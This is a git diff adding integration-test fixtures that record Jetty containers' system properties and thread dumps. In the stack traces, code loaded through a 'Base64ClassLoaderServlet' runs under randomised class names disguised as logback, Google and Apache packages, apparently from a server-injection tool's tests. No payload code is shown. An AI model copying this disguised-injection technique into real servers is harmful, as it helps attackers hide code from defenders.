org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:572) + at java.lang.Thread.run(Thread.java:722) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +ch.qos.logback.vUZoj.ErrorHandler +org.eclipse.jetty.client.HttpClient$1 +org.eclipse.jetty.http.HttpParser +org.eclipse.jetty.io.nio.SelectChannelEndPoint +org.eclipse.jetty.io.nio.SelectChannelEndPoint$1 +org.eclipse.jetty.io.nio.SelectorManager$1 +org.eclipse.jetty.io.nio.SelectorManager$SelectSet +org.eclipse.jetty.security.SecurityHandler +org.eclipse.jetty.server.AbstractConnector$Acceptor +org.eclipse.jetty.server.AbstractHttpConnection +org.eclipse.jetty.server.AbstractHttpConnection$RequestHandler +org.eclipse.jetty.server.AsyncHttpConnection +org.eclipse.jetty.server.Server +org.eclipse.jetty.server.handler.ContextHandler +org.eclipse.jetty.server.handler.ContextHandlerCollection +org.eclipse.jetty.server.handler.HandlerCollection +org.eclipse.jetty.server.handler.HandlerWrapper +org.eclipse.jetty.server.handler.ScopedHandler +org.eclipse.jetty.server.nio.SelectChannelConnector +org.eclipse.jetty.server.session.SessionHandler +org.eclipse.jetty.servlet.ServletHandler +org.eclipse.jetty.servlet.ServletHandler$CachedChain +org.eclipse.jetty.servlet.ServletHolder +org.eclipse.jetty.util.BlockingArrayQueue +org.eclipse.jetty.util.thread.QueuedThreadPool +org.eclipse.jetty.util.thread.QueuedThreadPool$3 diff --git a/integration-test/src/test/resources/infos/Jetty92ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Jetty92ContainerTestBasicInfo.txt new file mode 100644 index 00000000..fc966352 --- /dev/null +++ b/integration-test/src/test/resources/infos/Jetty92ContainerTestBasicInfo.txt @@ -0,0 +1,272 @@ +# Generated At 2025-08-10 14:58:46 +SystemProps: +java.runtime.name: OpenJDK Runtime Environment +sun.boot.library.path: /usr/lib/jvm/java-7-openjdk-armhf/jre/lib/arm +java.vm.version: 24.221-b02 +java.vm.vendor: Oracle Corporation +java.vendor.url: http://java.oracle.com/ +path.separator: : +java.vm.name: OpenJDK Zero VM +file.encoding.pkg: sun.io +sun.java.launcher: SUN_STANDARD +sun.os.patch.level: unknown +java.vm.specification.name: Java Virtual Machine Specification +user.dir: /var/lib/jetty +java.runtime.version: 1.7.0_221-b02 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.endorsed.dirs: /usr/lib/jvm/java-7-openjdk-armhf/jre/lib/endorsed +os.arch: arm +java.io.tmpdir: /tmp +line.separator: + +java.vm.specification.vendor: Oracle Corporation +os.name: Linux +sun.jnu.encoding: UTF-8 +java.library.path: /usr/java/packages/lib/arm:/usr/lib/arm-linux-gnueabihf/jni:/lib/arm-linux-gnueabihf:/usr/lib/arm-linux-gnueabihf:/usr/lib/jni:/lib:/usr/lib +java.specification.name: Java Platform API Specification +java.class.version: 51.0 +jetty.home: /usr/local/jetty +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +user.home: /home/jetty +user.timezone: Etc/UTC +java.awt.printerjob: sun.print.PSPrinterJob +file.encoding: UTF-8 +java.specification.version: 1.7 +java.class.path: /usr/local/jetty/lib/apache-jsp/org.eclipse.jetty.apache-jsp-9.2.28.v20190418.jar:/usr/local/jetty/lib/apache-jsp/org.eclipse.jetty.orbit.org.eclipse.jdt.core-3.8.2.v20130121.jar:/usr/local/jetty/lib/apache-jsp/org.mortbay.jasper.apache-el-8.0.33.jar:/usr/local/jetty/lib/apache-jsp/org.mortbay.jasper.apache-jsp-8.0.33.jar:/usr/local/jetty/lib/apache-jstl/org.apache.taglibs.taglibs-standard-impl-1.2.1.jar:/usr/local/jetty/lib/apache-jstl/org.apache.taglibs.taglibs-standard-spec-1.2.1.jar:/var/lib/jetty/resources:/usr/local/jetty/lib/servlet-api-3.1.jar:/usr/local/jetty/lib/jetty-schemas-3.1.jar:/usr/local/jetty/lib/jetty-http-9.2.28.v20190418.jar:/usr/local/jetty/lib/jetty-server-9.2.28.v20190418.jar:/usr/local/jetty/lib/jetty-xml-9.2.28.v20190418.jar:/usr/local/jetty/lib/jetty-util-9.2.28.v20190418.jar:/usr/local/jetty/lib/jetty-io-9.2.28.v20190418.jar:/usr/local/jetty/lib/jetty-jndi-9.2.28.v20190418.jar:/usr/local/jetty/lib/jndi/javax.mail.glassfish-1.4.1.v201005082020.jar:/usr/local/jetty/lib/jndi/javax.transaction-api-1.2.jar:/usr/local/jetty/lib/jetty-security-9.2.28.v20190418.jar:/usr/local/jetty/lib/jetty-servlet-9.2.28.v20190418.jar:/usr/local/jetty/lib/jetty-webapp-9.2.28.v20190418.jar:/usr/local/jetty/lib/jetty-deploy-9.2.28.v20190418.jar:/usr/local/jetty/lib/jetty-plus-9.2.28.v20190418.jar:/usr/local/jetty/lib/jetty-annotations-9.2.28.v20190418.jar:/usr/local/jetty/lib/annotations/asm-5.0.1.jar:/usr/local/jetty/lib/annotations/asm-commons-5.0.1.jar:/usr/local/jetty/lib/annotations/javax.annotation-api-1.2.jar:/usr/local/jetty/lib/websocket/javax.websocket-api-1.0.jar:/usr/local/jetty/lib/websocket/javax-websocket-client-impl-9.2.28.v20190418.jar:/usr/local/jetty/lib/websocket/javax-websocket-server-impl-9.2.28.v20190418.jar:/usr/local/jetty/lib/websocket/websocket-api-9.2.28.v20190418.jar:/usr/local/jetty/lib/websocket/websocket-client-9.2.28.v20190418.jar:/usr/local/jetty/lib/websocket/websocket-common-9.2.28.v20190418.jar:/usr/local/jetty/lib/websocket/websocket-server-9.2.28.v20190418.jar:/usr/local/jetty/lib/websocket/websocket-servlet-9.2.28.v20190418.jar +user.name: jetty +jetty.base: /var/lib/jetty +java.vm.specification.version: 1.7 +sun.java.command: org.eclipse.jetty.xml.XmlConfiguration http.timeout=30000 jetty.delayDispatchUntilContent=false jetty.dump.start=false jetty.dump.stop=false jetty.output.buffer.size=32768 jetty.port=8080 jetty.request.header.size=8192 jetty.response.header.size=8192 jetty.send.date.header=false jetty.send.server.version=true jsp-impl=apache threads.max=200 threads.min=10 threads.timeout=60000 /usr/local/jetty/etc/home-base-warning.xml /usr/local/jetty/etc/jetty.xml /usr/local/jetty/etc/jetty-http.xml /usr/local/jetty/etc/jetty-deploy.xml /usr/local/jetty/etc/jetty-plus.xml /usr/local/jetty/etc/jetty-annotations.xml +java.home: /usr/lib/jvm/java-7-openjdk-armhf/jre +sun.arch.data.model: 32 +user.language: en +java.specification.vendor: Oracle Corporation +awt.toolkit: sun.awt.X11.XToolkit +java.vm.info: interpreted mode +java.version: 1.7.0_221 +java.ext.dirs: /usr/lib/jvm/java-7-openjdk-armhf/jre/lib/ext:/usr/java/packages/lib/ext +sun.boot.class.path: /usr/lib/jvm/java-7-openjdk-armhf/jre/lib/resources.jar:/usr/lib/jvm/java-7-openjdk-armhf/jre/lib/rt.jar:/usr/lib/jvm/java-7-openjdk-armhf/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-7-openjdk-armhf/jre/lib/jsse.jar:/usr/lib/jvm/java-7-openjdk-armhf/jre/lib/jce.jar:/usr/lib/jvm/java-7-openjdk-armhf/jre/lib/charsets.jar:/usr/lib/jvm/java-7-openjdk-armhf/jre/lib/rhino.jar:/usr/lib/jvm/java-7-openjdk-armhf/jre/lib/jfr.jar:/usr/lib/jvm/java-7-openjdk-armhf/jre/classes +java.vendor: Oracle Corporation +file.separator: / +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +sun.io.unicode.encoding: UnicodeLittle +sun.cpu.endian: little +sun.cpu.isalist: + +=========================================== + +ThreadStacks: +"qtp21904783-13" #13 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@10900c8 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2082) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:389) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:531) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$700(QueuedThreadPool.java:47) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:590) + at java.lang.Thread.run(Thread.java:748) + +"qtp21904783-9" #9 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@10900c8 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2082) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:389) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:531) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$700(QueuedThreadPool.java:47) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:590) + at java.lang.Thread.run(Thread.java:748) + +"DestroyJavaVM" #20 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"qtp21904783-12-selector-ServerConnectorManager@1085b6f/2" #12 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:79) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:87) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:98) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:102) + at org.eclipse.jetty.io.SelectorManager$ManagedSelector.select(SelectorManager.java:601) + at org.eclipse.jetty.io.SelectorManager$ManagedSelector.run(SelectorManager.java:550) + at org.eclipse.jetty.util.thread.NonBlockingThread.run(NonBlockingThread.java:52) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:635) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:555) + at java.lang.Thread.run(Thread.java:748) + +"qtp21904783-17-selector-ServerConnectorManager@1085b6f/1" #17 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:79) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:87) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:98) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:102) + at org.eclipse.jetty.io.SelectorManager$ManagedSelector.select(SelectorManager.java:601) + at org.eclipse.jetty.io.SelectorManager$ManagedSelector.run(SelectorManager.java:550) + at org.eclipse.jetty.util.thread.NonBlockingThread.run(NonBlockingThread.java:52) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:635) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:555) + at java.lang.Thread.run(Thread.java:748) + +"qtp21904783-14-selector-ServerConnectorManager@1085b6f/3" #14 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:79) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:87) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:98) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:102) + at org.eclipse.jetty.io.SelectorManager$ManagedSelector.select(SelectorManager.java:601) + at org.eclipse.jetty.io.SelectorManager$ManagedSelector.run(SelectorManager.java:550) + at org.eclipse.jetty.util.thread.NonBlockingThread.run(NonBlockingThread.java:52) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:635) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:555) + at java.lang.Thread.run(Thread.java:748) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@1270f4 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:135) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:151) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:209) + +"Scheduler-6168442" #18 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b5c1fb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2082) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1092) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1075) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1137) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:748) + +"qtp21904783-10" #10 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@10900c8 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2082) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:389) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:531) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$700(QueuedThreadPool.java:47) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:590) + at java.lang.Thread.run(Thread.java:748) + +"qtp21904783-16-selector-ServerConnectorManager@1085b6f/0" #16 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:79) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:87) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:98) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:102) + at org.eclipse.jetty.io.SelectorManager$ManagedSelector.select(SelectorManager.java:601) + at org.eclipse.jetty.io.SelectorManager$ManagedSelector.run(SelectorManager.java:550) + at org.eclipse.jetty.util.thread.NonBlockingThread.run(NonBlockingThread.java:52) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:635) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:555) + at java.lang.Thread.run(Thread.java:748) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@d27650 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:503) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:133) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"qtp21904783-8-acceptor-0@231214-ServerConnector@780f54{HTTP/1.1}{0.0.0.0:8080}" #8 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:250) + at org.eclipse.jetty.server.ServerConnector.accept(ServerConnector.java:377) + at org.eclipse.jetty.server.AbstractConnector$Acceptor.run(AbstractConnector.java:500) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:635) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:555) + at java.lang.Thread.run(Thread.java:748) + +"Scanner-0" #19 daemon [TIMED_WAITING] on java.util.TaskQueue@155b707 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"qtp21904783-15" #15 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@10900c8 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2082) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:389) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:531) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$700(QueuedThreadPool.java:47) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:590) + at java.lang.Thread.run(Thread.java:748) + +"qtp21904783-11" #11 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1643) + at com.google.gso.YvCgb.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2849) + at java.io.PrintWriter.print(PrintWriter.java:617) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.eclipse.jetty.servlet.ServletHolder.handle(ServletHolder.java:812) + at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1669) + at org.eclipse.jetty.websocket.server.WebSocketUpgradeFilter.doFilter(WebSocketUpgradeFilter.java:201) + at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1652) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1652) + at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:585) + at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:143) + at org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:577) + at org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:223) + at org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1127) + at org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:515) + at org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:185) + at org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1061) + at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:141) + at org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:215) + at org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:110) + at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:97) + at org.eclipse.jetty.server.Server.handle(Server.java:499) + at org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:311) + at org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:258) + at org.eclipse.jetty.io.AbstractConnection$2.run(AbstractConnection.java:544) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:635) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:555) + at java.lang.Thread.run(Thread.java:748) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.google.gso.YvCgb.ErrorHandler +org.eclipse.jetty.io.AbstractConnection$2 +org.eclipse.jetty.io.SelectorManager$ManagedSelector +org.eclipse.jetty.security.SecurityHandler +org.eclipse.jetty.server.AbstractConnector$Acceptor +org.eclipse.jetty.server.HttpChannel +org.eclipse.jetty.server.HttpConnection +org.eclipse.jetty.server.Server +org.eclipse.jetty.server.ServerConnector +org.eclipse.jetty.server.handler.ContextHandler +org.eclipse.jetty.server.handler.ContextHandlerCollection +org.eclipse.jetty.server.handler.HandlerCollection +org.eclipse.jetty.server.handler.HandlerWrapper +org.eclipse.jetty.server.handler.ScopedHandler +org.eclipse.jetty.server.session.SessionHandler +org.eclipse.jetty.servlet.ServletHandler +org.eclipse.jetty.servlet.ServletHandler$CachedChain +org.eclipse.jetty.servlet.ServletHolder +org.eclipse.jetty.util.BlockingArrayQueue +org.eclipse.jetty.util.thread.NonBlockingThread +org.eclipse.jetty.util.thread.QueuedThreadPool +org.eclipse.jetty.util.thread.QueuedThreadPool$3 +org.eclipse.jetty.websocket.server.WebSocketUpgradeFilter diff --git a/integration-test/src/test/resources/infos/Jetty93ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Jetty93ContainerTestBasicInfo.txt new file mode 100644 index 00000000..23c90ada --- /dev/null +++ b/integration-test/src/test/resources/infos/Jetty93ContainerTestBasicInfo.txt @@ -0,0 +1,294 @@ +# Generated At 2025-08-10 14:58:47 +SystemProps: +java.runtime.name: OpenJDK Runtime Environment +sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64 +java.vm.version: 25.342-b07 +java.vm.vendor: Oracle Corporation +java.vendor.url: http://java.oracle.com/ +path.separator: : +java.vm.name: OpenJDK 64-Bit Server VM +file.encoding.pkg: sun.io +sun.java.launcher: SUN_STANDARD +sun.os.patch.level: unknown +java.vm.specification.name: Java Virtual Machine Specification +user.dir: /var/lib/jetty +java.runtime.version: 1.8.0_342-b07 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.endorsed.dirs: /usr/local/openjdk-8/jre/lib/endorsed +os.arch: aarch64 +java.io.tmpdir: /tmp +line.separator: + +java.vm.specification.vendor: Oracle Corporation +os.name: Linux +sun.jnu.encoding: UTF-8 +jetty.git.hash: 148ea770504ad315b7936c5737e462879680042b +java.library.path: /usr/java/packages/lib/aarch64:/lib:/usr/lib +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +jetty.home: /var/lib/jetty +jetty.version: 9.3.30.v20211001 +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +user.home: /root +user.timezone: Etc/UTC +java.awt.printerjob: sun.print.PSPrinterJob +file.encoding: UTF-8 +java.specification.version: 1.8 +java.class.path: /var/lib/jetty/start.jar +user.name: root +jetty.base: /var/lib/jetty +java.vm.specification.version: 1.8 +sun.java.command: /var/lib/jetty/start.jar +java.home: /usr/local/openjdk-8/jre +sun.arch.data.model: 64 +user.language: en +java.specification.vendor: Oracle Corporation +awt.toolkit: sun.awt.X11.XToolkit +java.vm.info: mixed mode +java.version: 1.8.0_342 +java.ext.dirs: /usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext +sun.boot.class.path: /usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes +java.vendor: Oracle Corporation +file.separator: / +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +sun.io.unicode.encoding: UnicodeLittle +sun.cpu.endian: little +jetty.tag.version: master +sun.cpu.isalist: + +=========================================== + +ThreadStacks: +"qtp425918570-17" #17 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:263) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:211) + at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.executeProduceConsume(ExecuteProduceConsume.java:249) + at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.produceConsume(ExecuteProduceConsume.java:148) + at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.run(ExecuteProduceConsume.java:136) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:671) + at org.eclipse.jetty.util.thread.QueuedThreadPool$2.run(QueuedThreadPool.java:589) + at java.lang.Thread.run(Thread.java:750) + +"qtp425918570-18" #18 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4d8ab94 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:392) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:563) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$800(QueuedThreadPool.java:48) + at org.eclipse.jetty.util.thread.QueuedThreadPool$2.run(QueuedThreadPool.java:626) + at java.lang.Thread.run(Thread.java:750) + +"qtp425918570-11" #11 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at org.apache.commons.PrClk.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at org.eclipse.jetty.server.ResponseWriter.print(ResponseWriter.java:304) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.eclipse.jetty.servlet.ServletHolder.handle(ServletHolder.java:848) + at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1780) + at org.eclipse.jetty.websocket.server.WebSocketUpgradeFilter.doFilter(WebSocketUpgradeFilter.java:205) + at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1767) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1759) + at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:583) + at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:143) + at org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:548) + at org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:226) + at org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1180) + at org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:513) + at org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:185) + at org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1112) + at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:141) + at org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:213) + at org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:119) + at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:134) + at org.eclipse.jetty.server.Server.handle(Server.java:539) + at org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:333) + at org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:251) + at org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:283) + at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:108) + at org.eclipse.jetty.io.SelectChannelEndPoint$2.run(SelectChannelEndPoint.java:93) + at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.executeProduceConsume(ExecuteProduceConsume.java:303) + at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.produceConsume(ExecuteProduceConsume.java:148) + at org.eclipse.jetty.util.thread.strategy.ExecuteProduceConsume.run(ExecuteProduceConsume.java:136) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:671) + at org.eclipse.jetty.util.thread.QueuedThreadPool$2.run(QueuedThreadPool.java:589) + at java.lang.Thread.run(Thread.java:750) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"qtp425918570-12" #12 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at 